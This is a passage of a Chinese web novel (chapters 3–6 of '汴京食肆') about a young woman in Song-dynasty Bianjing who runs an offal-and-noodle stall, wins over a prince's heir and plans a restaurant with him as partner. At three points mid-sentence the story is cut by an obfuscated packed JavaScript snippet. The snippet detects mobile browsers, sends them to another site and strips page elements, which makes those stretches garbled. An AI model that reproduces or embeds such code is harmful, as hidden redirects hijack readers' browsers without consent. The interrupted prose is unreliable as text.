《汴京食肆》 3. 且慢食铺 冬日的清晨，汴河的码头周围，总是会被一层薄薄的水雾笼罩。带着江水的微腥，层层叠叠地缠绕在林立的桅杆间。 这日，天还未亮，周围已经开始热闹起来。来来往往的脚夫打招呼声，还有不远处早餐摊子的叫卖声。 朱绾纾紧了紧身上的围裙，看着这一派忙碌景象，心中却前所未有的踏实。经过几日的准备，今天，是她的一个大日子。 午时一过，在紧邻码头的那处院落前，不知何时多了一个小木棚，棚子搭得不算大，却极为整洁，旁边的立柱上挂着一个招牌，上面写着四个大字“且慢食铺”。 “且慢？”过往的脚夫揉了揉被风吹红的眼睛，嘿嘿一笑“这小娘子取名倒是有趣。这码头上的人，哪个不是争先恐后，可不敢慢下来。” 朱绾纾听了这话，没有反驳，只是微微一笑。她站在一个巨大的红泥火炉旁。炉上隔着一个大瓦锅，里面盛满了昨日熬煮一夜的卤煮。 随着炉火的加热，原本凝固的卤水渐渐开始融化，化成一锅红亮润泽的汤汁，接着，一股浓郁的肉香味，顺着一阵风四处飘散。 “夏禾，火候收着点，滚得太厉害，会坏了口感和味道的。” 朱绾纾低声交代着。夏禾应了一声，眼睛直勾勾地盯着那锅红亮的卤煮，不自觉的喉咙浮动，咽了口水。 朱绾纾赶着她的样子，笑出了声。 “怎么，昨天没吃够？” “姑娘，您就算让我天天吃都不厌烦！”夏禾一边说，一边手脚麻利地揉着案板上的面团。 “那可不成，你家姑娘会做的吃食可多了，怎么能让你天天吃一样的呢？” 朱绾纾心里早有打算，这个小铺子，只是她的起步，更多的也是为了试探一下，现代美食在这古代到底能不能被接受。最终目标，还真是开一个能媲美樊楼的食肆。 “姑娘，咱们要不要学隔壁铺子掌柜一样，喊一喊？”看着隔壁已经三三两两的上了客，夏禾有些焦急。 “不用，咱们就等。” 这些在码头的工作的脚夫，他们在寒风中忙碌了那么久，体力消耗很快，等他们胃里空空的时候，自然会被这股肉香吸引，这点她很有自信。 没过一会儿，几个刚卸完货物的壮汉走过来， “小娘子，你这卖的什么吃食，想得让我们几个闻着味儿就来了。” 另外几个男人抹了把汗，眼睛直勾勾盯着锅里的食物。 朱绾纾不紧不慢地擀着面条，她抬起头，笑着看着他们， “这位大哥，锅里是新鲜出锅的卤煮，只不过需要再煨上半刻钟，这样口感更软糯，然后将汤汁和卤味浇在这手擀面上，一起吃。” “还要等啊？”这几个壮汉看起来有些着急了，他们一个个的直咽口水 “小娘子，能不能先给俺乘上一碗？俺没那么多讲究。” 朱绾纾继续切着面条，“民以食为天，要吃便吃那最美味的一刻。夏禾，把这碟卤豆腐送给几个大哥品尝一下。” 朱绾纾利落地从锅里挑出几块吸满汤汁的豆腐，原本白嫩的豆腐，在浓郁的酱汁里滚了半晌后，成了很有食欲的酱褐色，夹起的时候，边缘还在滴汁水。 她熟练地将豆腐摞在一起，横竖切了两道，搁在小竹碟里，递给夏禾。 这豆腐便是她提前准备的今日免费试吃菜品。 一位大哥半信半疑的夹起一块豆腐放进嘴里。原本以为只是寻常无味的豆腐而已，谁料，在他咬下去的那一瞬间，豆腐里的酱汁瞬间蔓延到嘴巴里。 咸香中带着一丝微甜，还有一股子浓郁的油脂感。 “这是豆腐？俺第一次吃到这么好吃的豆腐！” 听到这话，其他几位一脸不可置信的吃了一块，没有意外都被这块豆腐的味道给震惊到。很快，一碟的豆腐被一扫而空。 原本在远处观望的人，见到他们有些夸张的样子，纷纷漏出好奇的目光。 连那些原本急着去交工的脚夫，都被吸引过来，从开始的看热闹，最后变成这队伍中的一份子。 这小小的铺面，一人等，十人看的，马上就排起了长队。 就在这食铺热闹之时，一辆装饰简雅却处处透着考究的马车，在巷口处停下。 车上坐着的，便是靖安王世子宋衍，他虽生得一副好样貌，而且身为王府世子，本应锦衣玉食，无忧无虑。 可是他却偏偏对吃食不感一点兴趣，从没有感觉到饥饿感。 无论是金谷园的玉液琼浆，还是樊楼的美味珍馐，在他嘴里，都是无味的。 所以，总是一副营养不良的样子，整日少气无力的。 连民间都开始散播，这宋衍可能时日无多的传言。 马车一侧厚实的窗帘被掀开了一角，宋衍紧皱着眉头，盯着窗外熙熙攘攘的码头，眼底闪过一丝厌倦 “还没查到账册的下落？” 这话是说给站在马车旁的那个侍卫，他是宋衍的的心腹，卫安正要答话，却见宋衍原本微蹙的眉头猛地舒展。 一股他从来没有闻到过的香气进入鼻腔，让他没想到的是，竟是在这一瞬间，他竟然感觉自己的肚子，有种空空的感觉。这是他从来没有过的感受。 “卫安，去看看那边在卖什么？” 不多时，卫安跑回马车前，对宋衍低头回禀道， “回爷，是个小娘子支的一个食铺，她说自己卖的是卤煮面。” 卫安说话的生意越来越小，看着有些底气不足 “她说？那实际是什么？” “是...猪下水。” 宋衍猛地愣住，竟是那股子让全京城名厨都束手无策的腥臭味之物？可是方才自己闻道的那味道，明明如此之香，让他很有食欲啊？ 他朝那个在热气中忙碌的小娘子看去，只见她手起刀落，干脆利落的切着肉 “走，去看看。” 宋衍走下马车，他这一身玄色锦袍，在身边这群布衣脚夫中，显得格外突兀。 脚夫们见这气度，不自觉地纷纷避让开来。 他走到摊位前，修长的手指敲了敲那块“且慢”的木牌，目光着直视朱绾纾， “这位小娘子，你这锅中是何物？能让这么多人排队等候？” 朱绾纾放下手里的刀，抬眸，对上宋衍那满是探究审视的眼神，便不卑不亢的对他福了一礼。 “见过贵人，这锅中是卤煮，若贵人不嫌弃这下水粗鄙，不如亲自一试？” “爷，这种脏东西，吃不得啊。”卫安在一旁小声的嘀咕。 朱绾纾闻言，不怒反笑， “这位小哥，食材本无高低，看的是这制作事物的人，能否拥有点石成金的能力。相比于你之前见过的那些，可是和我这卤煮大不相同，相比，这位贵人已经有数。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297562|198608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说完，她便朝宋衍看去，眼神中闪烁着一丝带有自信且期待的目光 “在我这间铺子里，无论食物还是人，都没有高低贵贱之分。只要你站在我这食铺前，便只有食客这一种身份。” 宋衍原本清冷的眼神中闪过一丝诧异，随即低沉的笑出了声 “嗯。好一个食客。” 他走到摊位的一处空位坐下，“那就给爷来一份，若是不好吃，那你这招牌，尽是便是挂不得了。” 朱绾纾撇了撇嘴，动作利落的从锅里挑出一段最肥美的大肠，将其均匀地切成小圈。 将已经煮好的面条捞起控水，铺在碗底，又将卤煮盖在上面，最后淋上了一勺汤汁。 朱绾纾余光瞥见宋衍，她把仅剩的两块卤豆腐，横竖切两道，放入竹盘上，一起端了过去。 如若今天将这贵人的胃给俘获了，那这可就是免费的“代言人”啊。 “贵人，请~” 在场所有的食客都朝宋衍看去，只见他缓慢地拿起竹筷，先夹起一块大肠闻了闻，没有预想的反胃，索性直接放入口中。 在他嚼下第一口时，宋衍的瞳孔骤然收缩，好吃！这是他从未给一个食物的评价。 咸香中透着一丝回甘，口感又及其软糯。 最重要的是，真的没有一点腥臭味道，取而代之的是那种被酱香包裹的肥腴。 他将面条拌开，一口接着一口的吃着。不一会儿，一碗肥肠拌面吃的干干净净。连送的卤豆腐，都一块不剩。 “敢问贵人，我这招牌，还挂不挂得？”朱绾纾淡定的问到。 宋衍放下筷子，拿出手帕优雅的擦拭嘴角。 他看向朱绾纾，语气中透着不易察觉的赞赏， “牌子暂且挂得，只是，若只有这一种餐食，未免有些乏味。” 说罢，宋衍起身，示意卫安留下一块沉甸甸的碎银，便转身离开了铺子。 当他坐上马车的那一刻，铺子又开始热闹起来。 朱绾纾高兴地扬起嘴角，她相信，口碑很快就会传遍这汴京城。 “天老爷，这贵人都说好吃的东西，那得多香啊。” “可不是吗！小娘子，快给我来两份！我要带回去给俺婆娘尝尝。” 刚回到家的沈清安和朱仲谦，站在院门口就看到了这一幕，满是惊喜，没想到女儿的厨艺，能得到这么多人喜欢。 朱仲谦更是快走几步，撸起袖子帮朱绾纾切肉，沈清安则在一旁帮她收钱。 朱绾纾这才得空，坐在一旁，她微闭双眼，听着铜钱掉落在陶罐里的声音，还真是清脆悦耳啊。 待到日落黄昏时，整整两大桶的卤煮和百份手擀面，竟然被一扫而空。 回到家，朱绾纾坐在凳子上揉了揉酸痛的手腕， 她看着坐在一旁拨算盘的沈清安，期待的闻道，“娘，怎么样？赚多少？” 沈清安嘴角止不住的上扬，满眼笑意的看着女儿， “绾绾，除去食材和炭火成本，你这半日，竟赚了二两银子！” 二两银子，在当下的汴京城，足够一个寻常人家舒舒服服过上一个月的。 朱绾纾想起今天出现的那位贵人，不禁的弯起嘴角。 今日他的出现，想比过不了几天，她这个食铺会传到更多人的耳朵里。 到那时，她的致富大计，也算是真正的开始啦！ 4. 火爆腰花 朱绾纾在得知那日的贵人，竟是世子时，挑眉一笑，那一瞬间，她好像看到了无数白花花的银锭子“从天而降”。 果然，无论在哪个时代做生意，宣传和口碑都是很重要的。 这短短几日的功夫，挑剔世子爷对一家食铺的卤煮赞不绝口的消息，已经汴京城传开了。 “欸，嫩听说了吗？那‘且慢食谱’的小娘子，做的卤煮，连靖安王世子吃了都赞不绝口。” “当真？啧啧啧，那位爷可是挑剔的很，他的那些朋友不还说人家要辟谷升仙吗？” “辟什么谷，他可是吃了整整一大碗，临走前，还赏了那位掌柜小娘子银子呢。” 就这样，一连几日，食铺的门槛都快要被踩烂了。 “姑娘，咱明天要不多准备些？每次都不够卖的。” 朱绾纾摇摇头，什么时候来就有的话，那样就不香了。俗语说得好，得不到的才是最好的。 “夏禾，以后咱们还是准备两桶卤煮，午后开张，售完即止。” 夏禾有些糊涂，她不懂为什么明明可以赚更多钱，姑娘却还要像以往一样。 朱绾纾看着她笑了笑，没有过多解释。眼下更棘手的事，需要开发新的菜品。 那个世子爷说得对，这卤煮是好吃，但也不能天天吃。 “爹，今日的食材怎么还没送来啊。” 自从朱仲谦和沈清安成锦绣坊的甩手掌柜之后，他俩每天就在自己铺子里帮忙。 朱仲谦洗碗的动作停住，眉头微皱，“是啊，怎么还没送来。夏禾，你去看看，别误了时辰。” 夏禾应了一声，小跑出院子。 没一盏茶的功夫，夏禾便气喘吁吁地跑回来，小脸涨得通红，不知是累的？还是被气的。 “姑娘，不好了！”夏禾急的直跺脚，“那王屠户说，今日猪大肠没了，以后也没了。” “没了？”一旁的沈清安放下手中的账本，快步走来，“咱们可是付了定钱的。” 夏禾将紧握拳的手松开，是今日给屠户的定钱。“王屠户说，早上来了一个妇人，她把所有的猪下水都包圆了，比咱们的价格多一钱。” 妇人？朱绾纾回忆了一下，自己好像没有的罪过什么人啊。 可是，这食材，整个汴京城，只有自己会买，明显就是冲自己来了，莫不是看到赚钱了，想效仿不成？ “绾绾，没关系，这又不是只他这一家店铺。”沈清安拍了拍朱绾纾的肩膀安慰着。 “哈哈哈哈哈哈。”院门口传来了一阵刺耳的笑声。 “二弟妹莫要再想了，这城内的下水啊，我都买下了。” 穿着酱紫色暗纹绫褙子的赵玉华，大摇大摆地推门而入。 朱仲谦看到来人后，手中的抹布“啪”地一声掉在地上，“大...大嫂？” 沈清安上前走两步，朝朱仲谦白了两眼，“什么大嫂，咱们连大哥都没有，哪来的大嫂？不知赵大娘子突然来访，是所为何事？” “呦，弟妹。何必这么生疏呢？” 赵玉华目光在院子四处扫过，她之所以今天会来，是身边的丫鬟告诉她，二房最近开始摆摊卖吃食，生意火爆的很。 她倒要看看，没有锦绣坊，他们能怎么东山再起。 只是，原本心如猫爪般难受的她，在看到这院子的破旧和老二刷碗的样子时，舒畅许多。 “赵大娘子，既然已经分家了，我以为就没有来往的必要了。”沈清安丝毫不给赵玉华面子，冷声道，“更没想到，你如此关注我们家，还把全城的猪下水买下。” 赵玉华满脸拿起帕子捂住口鼻，嫌弃地扫了一眼院外的那个木棚， “母亲心里记挂你们，听说你们离了家，沦落在这等杂乱之地，还卖这种腌臜之物。啧啧啧，怕你们丢了朱家祖宗的颜面。” 朱仲谦蹙了一下眉，“分家的契书，需要我拿出来再让你看一下吗？” 朱绾纾走上前，"这位大娘子，你若是来吃面，三文，若不是，那请你离开。" “你们！”赵玉华被三人噎得脸色发青，随即想到什么，又朝他们得意的笑了起来。 她朝身后伸手，几个男家丁每人拎着一桶下水，各个脸上都露着嫌弃的表情。 “你们再嘴硬也没办法，这俗话说得好，巧妇难为无米之炊。”赵玉华指着那几桶血淋淋的下水， “今日我发善心，免得你们再拿这些腌臜之物去祸害人，就买来处理了。” 此时的院门口，已经有三三两两的食客开始排队。 “今日怎么还没开始？” “咦，不会今日不卖了吧。” 赵玉华得意地上扬嘴角，她看着二房为难的脸色，心里别提多解气，多开心了。 把这些恶心的东西买下，虽然最后也是扔掉，但是不让他们过得好，就值得。 朱仲谦和沈清安看着赵玉华的样子，气不打一处来。眼看着沈清安就要上手了，却被朱绾纾一把拉住。 “既然这位大娘子喜欢这猪下水，那就让给她就好了。” 朱绾纾知道，虽然这食材并不贵，甚至很便宜。 只是，她们朱府，没了二房这个钱库，根本就撑不了多久。今日没下水，那就再买其它食材就好。 她解下腰间的荷包，看向眼眶泛红的夏禾，“拿着，去另一家肉铺买些猪腰子回来，有多少，买多少。” “猪腰子？”夏禾愣住，一旁的沈清安和朱仲谦以及院门外的食客，都愣住了。 那东西和大肠比起来，腥臊程度不相上下，切开后，里面全是白筋，吃起来更是又硬又柴，煮不烂嚼不动。 在肉铺里，也是没人会买的东西。 “嗯，快去吧。”朱绾纾笑着点头，催促夏禾。 赵玉华闻言，更是笑得前仰后合的， “呦，卖腰子啊，咱们这二小娘子可真是黑心肝的，专挑这狗都嫌弃的食材，有你这么做生意的嘛。” 朱绾纾冷眼看向她，语气冰冷，“我不是什么二小娘子，这位大娘子莫要和我套近乎。” 没过多久，夏禾就拎着两串猪腰子回到院子， “姑娘，这李屠户不仅便宜卖给咱，还送了几块老姜呢。” 在北宋，大家食用腰子多是煮汤或烤制，之所以觉得难以下咽，多半是没有处理腰子上的臊腺。 可朱绾纾就不一样了，她将腰子放在案板上，横刀切开后，将里面那层白筋剔除的干干净净。 紧接着，她用刀在腰子上划出细密的十字纹路，几乎每一刀的深浅几乎一致。 “夏禾，拉风箱，这次，要猛火！”朱绾纾淡定的交代着。 夏禾赶忙蹲下身，用力拉动风箱，火炉里的火焰瞬间窜起，铁锅被烧得微微发蓝。 朱绾纾舀了一勺雪白的猪油块块，放入锅中。 随着“滋啦”一声，锅内青烟冒起，猪油瞬间透亮。 朱绾纾抓起一把花椒、茱萸还有葱段和姜片扔进去。 香料被高温的猪油，瞬间炸出了诱人的香味。从灶房飘到院子，连院外站着的食客都闻到了。 只不过，这香气还有些“攻击性”，有几个人已经开始打喷嚏了。 朱绾纾快速将切好的腰花放入锅中翻炒，在高温下，腰花迅速蜷缩，每一道刀口瞬间炸开。 翻勺， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297563|198608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾芡，淋明油。 一套流程下来，一锅色泽鲜艳的“火爆腰花”便出锅了。 这道菜，讲究的就是一个“快”字，多一分则老，少一分则生，很是考验厨艺。 朱绾纾拿起干净的筷子夹了一块送进夏禾嘴里，笑着挑眉， “怎么样？” 夏禾快速嚼几口，她不知道该怎么形容，只是不停地点头，味道很特别，有些刺激，但却又让人意犹未尽。 朱绾纾盛出一碗，走到院门口， “各位久等了，今日新品，火爆腰花，和之前的卤煮味道不同，口感更是不同。限量供应。” 众人看着碗里的食物，不自觉的咽着口水，只是，谁都不愿意做第一个尝试的人。 就在此时，宋衍走了过来。 “今日可是有新菜？” 宋衍目光落在朱绾纾手中的那碗食物，他实在搞不懂，这个小娘子，为什么总选一些奇奇怪怪的食材，还做得那么...诱人。 朱绾纾满眼笑意的朝宋衍福了一礼， “世，”刚开口，她就捕捉到了宋衍微蹙的眉头，赶忙改口， “这位...小郎君！有位大娘子把市面上的大肠都买了去，民女为了生意，就想到了这道菜，口感嫩脆，很是美味。” 宋衍撇了眼院子里站着的赵玉华，撩起衣袍在凳子上坐下， “好，那就给我来一份。” 朱绾纾赶忙煮了份手擀面，把火爆腰花浇在上面，端到宋衍面前， “小郎君尝尝，看合不合胃口。” 宋衍拿起竹筷，夹了一块腰花，放入口中。 爽脆滑嫩的口感，竟是没有半分腥气。这味道和之前的卤味也很不相同。 吃下去，有种冒火的感觉，很是痛快！他将碗中的面搅拌开，一口接着一口吃着。 一旁的食客更是按耐不住，纷纷递上银钱， “小娘子，给我来一碗！” “还有我！” 生意顿时火爆起来，沈清安和朱仲谦更是没时间理会脸色发紫的宋玉华，纷纷跑出去帮忙。 赵玉华和几个家丁尴尬的站在院子里，她看着已经在招苍蝇的桶，又看到门外争抢着送钱买吃食的人，原本是打算看笑话的，没想到！ “走！”赵玉华咬牙切齿低吼道。 “大娘子，这几桶下水...” “拿走，找个每人的地方，倒了去！” 说完，怒气冲冲的离开了院子，身后的那些家丁一个个哭丧着脸。 而宋衍一碗面吃下去，感觉全身舒畅，连心情都跟着好了起来，嘴角甚至微微挑起。 “卫安，结账。” 一旁的卫安看着锅里的菜不停地咽口水，愣是没听到主子的声音。 朱绾纾也是满眼笑意，她笃定，拿下这位世子爷的胃，只是时间问题。自己的食肆计划，指日可待！ “今日多亏小郎君，其他食客才会愿意尝新菜，这碗面，算我请你的。不知小郎君可否给个面子？” 宋衍挑眉，随即点了点头。他快速起身，拍了拍卫安 “想吃就吃，我在马车里等你。” 卫安这下可算听到主子的声音了，眼神突然亮了起来。看着他的背影，都觉得比平时伟岸了些。 朱绾纾将一碗面递给他， “这碗面是小店送你的，还望以后多多照顾。” 卫安看着这碗“白送”的面喜出望外，一屁股坐下，大口大口的吃起来。 回到马车上的宋衍，将车帘掀开一边，朝食铺看去。 他的目光不自觉地落在烟火中忙碌的身影上，嘴角微不可查的勾起。 5. 食铺变食肆 夜幕降临，汴河两旁的灯火逐渐亮起，河面顿时映射出一条条细长的金色波纹。 且慢食铺的摊位里，还有几位食客正在用餐。 朱绾纾坐炉火旁，听着火炉里木炭燃烧的声音发呆。 她脑子里突然想起了宋衍，他来这里吃了两顿饭，可是，就是这两顿饭，让铺子的生意越来越红火。 朱绾纾自知，想要在这汴京城立足，只是手艺和钱还是不行的，必须有一个足够硬的“保护伞”，那这位世子爷，能否成为自己的“保护伞”呢？ 想到这，她拿起手边的帕子，不紧不慢的擦着手，目光看向了正在埋头苦吃的卫安。 “今日这面，吃得可还顺口？”朱绾纾笑语盈盈的朝他走去。 卫安放下已经见底的碗，大大咧咧的用衣袖抹了把嘴，憨笑， “好吃！真好吃！比我在王府里的餐食还要好吃！” 朱绾纾顺势在他旁边的空位上坐下，声音压低了几分， “只是，今日怎么不见你家郎君？” 卫安朝巷口停着的那辆马车看去，表情有些尴尬， “今日我家主子说他没什么胃口，就没过来。” “没胃口。难怪平日里见到你家郎君总是不那么精神，不如劳烦你替我传句话给你家郎君？” “小娘子请说。” “最近，我研究了几道新菜品，我这食铺如今之所以这么红火，有一半都要归功于他的两次夸赞。不知，你家郎君是否可愿意，来我这院中坐坐，品尝新菜，以示感谢。” 朱绾纾所言句句诚恳，她真的很想邀请这位世子大人，除了感谢，更想快点笼络他的胃，然后开启自己的大业！ 卫安听了话，先是一愣。而后想想，自己跟着主子这么多年，他两次吃完一整碗的饭食，都是在这食铺里，随即就一口答应， “小娘子的这份心意，我定如实传达！不过...” 朱绾纾立马领会到他最后的难言之隐，人家可是世子大人，可不是什么随随便便就能邀请的人。 “我懂，那就麻烦你将话带到即可。” 马车内，宋衍听着卫安的转述，指尖在小茶桌上轻轻的敲击， “新菜品？邀请我去品尝？” 宋衍嘴角勾起一抹弧度，他将车帘掀开，看向不远处的棚子。 “行，那就去尝尝。” 这位小娘子，明明知道他的身份，还如此大胆的发出邀请，真不知是有心无意还是有心有意？ 翌日，是且慢食铺的歇业日。 而今日的朱绾纾，比平日更忙一些。 当一身玄色锦袍的宋衍走进朱家小院时，就看到了院子里正在晾晒萝卜干的沈清安和朱仲谦。 宋衍握拳在嘴边轻咳了一声，朱仲谦和沈清安赶忙转身，看清来人后，开始有些慌张。 两人想要下跪，被宋衍伸手制止， “二位不必多礼，我今日只是受朱小娘子邀请，来品尝新菜的食客而已。” 虽然宋衍这么说，但二人还是紧张的手都不知道往哪里放。 “贵人请这边走，” 朱仲谦结结巴巴的开了口，将宋衍引向堂屋， “贵人快请坐，这是新茶，不知贵人是否喝的惯。” 宋衍绕过朱仲谦双手颤抖着斟茶的样子，目光扫过整间屋子。 如果说单从院子来看，这里面住的就是寻常人家而已。 但是，走进屋子，虽说也不是富丽堂皇，但每个家具和器皿，都是很有考究的。 看来，这家人，不是穷人，甚至可以说，他们这一家，和穷，根本挨不上边儿。 “世子久等了~” 堂屋的帘子被掀开，朱绾纾端着一个木盘走了进来。 宋衍不自觉的皱了下眉，世子？昨天不还叫自己小郎君来着，怎么今日就改口了？ “今日的这第一道菜，是专门为世子准备的。名字叫” “朱小娘子不必多礼”宋衍将朱绾纾的话打断。 “什么？”她并不觉得自己多礼啊？这有没磕头，又没行礼的。 “昨日如何称呼我，今后便如何称呼我即可。” 朱绾纾拧着眉头想了想，她昨天怎么称呼他来着...小郎君？嚯，没想到这世子大人竟如此低调，平易近人。 “宋郎君？” 宋衍挑眉点头，虽然这是第一次有人这么称呼自己，不过听起来还不错。 朱绾纾了然，继续介绍这第一道菜。 “这道菜叫做龙井山药糕，旁边这碗呢，是鲜笋莼菜羹。” 朱绾纾拿起宋衍面前的小碗，盛了一碗汤给他。 宋衍看了她一眼，拿起汤勺舀了一口汤。 第一口喝下去，这汤羹的鲜美便开始在口腔中开始蔓延，没一会儿功夫，全身都透着暖意。 朱绾纾看着宋衍的表情变化，心里暗自窃喜。 看来这个汤，世子爷很是满意，也不枉费她熬大夜，顿的老鸭汤底了。 “再尝尝这山药糕，很是养胃。” 山药糕入口的瞬间，便化开，除了一丝甜味，还有着一股淡淡的茶香，甜而不腻。 屋内的门帘再次被掀开，沈清安和朱仲谦一人端着一道菜走了进来。 清蒸白鱼和酸甜脆藕。 宋衍夹了块鱼肉放入口中，鱼肉鲜嫩，入口即化的口感，让他不自觉地又夹了一块。 “这鱼，是如何做的？” 朱绾纾笑着回答， “在清理好的鱼身上，涂上一层黄酒和盐，再加上几根葱姜丝去腥，放入锅中蒸，待熟了之后撒上酱清即可。” 宋衍点头，他又夹了个藕片，酸甜的味道加上脆爽的口感，吃起来甚是开胃。 他不得不感叹，这位朱小娘子太厉害了，准确的来说，是做饭太厉害了。 如果他能来王府做饭的话... “贵人，这鱼是绾绾一早去挑的，新鲜着呢。” “就你话多！” 沈清安白了朱仲谦一眼，又轻声细语的对宋衍说“贵人，粗茶淡饭，还望您莫要嫌弃。” 宋衍看着二人的互动，让他不禁想到了自家王府，打从记事起，好像都是自己一个人用餐，总是食不知味。 “你们也都坐下吧，哪有客坐主站着的道理。” 朱绾纾微扬嘴角，对他福了一礼“多些宋郎君，那便恭敬不如从命了。” 宋衍这饭吃得很是畅快，很久没有饱腹的感觉了，心情也跟着变得好起来。 他看向坐在一旁的朱绾纾，突然开口道，“你打算一直在这里开铺子？” 朱绾纾夹菜的动作微微一顿，低垂的眼眸闪过一丝狡黠。 心想：不会吧，只一顿饭就成了？没想到，宋衍接下来的一句话竟是， “要不要来王府，做饭给我一人吃？” 天老爷，朱绾纾差点被噎到。 她连续咳嗽几声，脸夹通红，端起手边的茶盏，将里面的茶水一饮而尽。 “宋郎君，只要是您想吃民女做的菜，随时都可以！” 听了这话，宋衍挑眉，这是在拒绝他的提议吗？ “宋郎君说的没错，这码头虽好，但我有更大的抱负。” “哦？更大的抱负？” “是，我想把食铺变成食肆。不求像樊楼那般奢华，但求每一道菜都能让食客感受到舒心和幸福。” 一旁的朱仲谦和沈清安不由得为女儿捏了把汗，一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297564|198608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用余光观察世子爷的表情。 对于朱绾纾的拒绝，宋衍并未动怒，他沉思了片刻，点头认同。 朱绾纾的厨艺确实很好，任何食材，只要经她的手，都是一道美味。只做饭给一人吃，确实有些可惜。 “你想要在京城开食肆？” “是！” “以你的厨艺，是没问题。只是，你想要在这汴京城里立住脚跟，单凭这一点，恐怕还不够。” “连宋郎君都觉得民女厨艺没问题，想必，如果开间食肆，生意应该会火爆吧。所以，不知世子大人对这个生意可还感兴趣?” 一旁的夫妻两人，听着自己女儿说话如此直白，简直被吓得出不敢呼吸了。 “你的意思是？” “宋郎君来做我食肆的幕后老板，每年食肆利润分你4成，可好？” 朱绾纾在说这句话时，在餐桌下紧握的掌心，已经开始渗汗。 她虽然很笃定，自己做的菜，是很合宋衍胃口。 但毕竟在这个时代，士农工商，还是有阶级分层。 再说了，人家皇亲国戚的，不愁吃不愁穿，没必要经商。 可是，没把握的事情，还是要试一试，这是朱绾纾一向的做事风格。 宋衍盯着朱绾纾沉默良久，突然在其他人的注视下，轻笑一声，朝着屋外喊了一句“卫安！” 只见屋内门帘快速被掀开，嗖的一声，他身边就多了一个人。 “我记得，马桥桥头那处‘万喜楼’，似乎空了许久。” 卫安想了一下，“回爷，正是。还想听说是曹太尉家的产业，风水不大好，接连亏了三个东家，这曹家急着出手。” “风水？哼！” 宋衍冷笑一声，“自己经营不当，怪风水？那马桥连接着瓦舍和贡院，怎么不好。” 他看向朱绾纾，“明日让卫安带你去曹家一趟，这租金我来出，只是，那些地方的食客，嘴挑着呢。” 朱绾纾压制着想要手舞足蹈的心情，这个大腿，抱得也太顺了吧！ “那就多谢宋郎君了，只是，这房子租金，我们来出就行。” “既然你要每年分我四成利，那我也要出分力不是，怎么好意思空手套白狼？” 朱绾纾心中窃喜，你可以什么都不用做，只要你世子的名号在就行啊。 不过，她也不是扭捏之人，人家世子都说了，也不好驳了面子的。 “那就谢过宋掌柜了！”朱绾纾站起身，对宋衍行了一礼。 “那今日谢过朱掌柜招待。” 两人掌柜来掌柜去的你一句我一句，旁人听着，颇有些打情骂俏的意思。 卫安更是抿着嘴将嘴角压下去。 “这有什么，以后，只要是宋掌柜想吃，民女就马上给您做！” 朱绾纾目送宋衍马车消失在巷子，确定看不到后，激动地跳了起来， “啊！啊！啊！” 没得说的厨艺，上好的地段，还有世子这个合作伙伴！她接下来的日子，简直不要太爽！ 先给自己里一个目标，在这汴京城，赚她个盆满钵满！ 院子里，朱仲谦也是满脸欣慰的拉着沈清安， “我没听做吧，世子爷要和咱们绾绾一起做生意？” 沈清安红了眼眶，看向院门口， “绾绾长大了，只是不知道，这个决定是好还是坏。” 卫安架着马车，对着里面的宋衍说到：“爷，您为什么要帮那位朱小娘子？” 宋衍靠在软枕上，闭目养神，他此刻的脑海里，全是朱绾纾。 她做饭的样子，面对自己不卑不亢的样子，甚至还有对自己打趣的样子。 “因为，我最近缺银子。” 6. 酱烧豆腐 马桥地处于内城东南，在这汴京城，可是实打实的繁华之地。 今日的朱绾纾没有在自己的小摊忙活，而是在卫安的陪同下，带着夏禾一起来到了‘万喜楼’。 这让她不得不感叹一下，宋衍还真是雷厉风行，昨晚定下的想法，今儿个午后就办好了，方方面面的契子都齐全着。 “朱小娘子，我们爷说了，这铺子您好生打理，他等着那四成红利嘞。” 朱绾纾接过卫安递来的契书，笑着应道：“劳烦您转告你家郎君，让他把库房提前腾一腾地方吧，免得日后银钱多了没处放。” 卫安听了，满脸欢喜。心想：太好了，爷昨天还说这银子不凑手，瞧着这朱小娘子胸有成竹的样子，看来很快就不缺了吧。 朱绾纾在小楼里里里外外走了一圈，这地方虽是闲置了大半年之久，但屋内还算干净，不需要怎么打扫，只需稍作修正即可。 只是，从小棚子搭的摊位，一下子就成了这两层楼的食肆，虽然嘴上那么说，她心里还是攒着一块沉甸甸的石头压着。 朱绾纾站在二楼，俯视整个铺子，她眉间紧蹙，思忖了片刻， “卫安，劳烦你找几个手脚麻利的工匠，把屋内这些大红大绿的屏风给撤了。” 朱绾纾手指了指二楼临江的那扇窗， “把它换成透气的青皮竹帘，窗下不摆金玉，只需摆上素净的原木长几。” 这汴京城，富丽堂皇的酒楼多如牛毛，没必要再多她这一个。 朱绾纾想要的，是这份能让食客坐得住得美食，而不是喧宾夺主的虚荣。 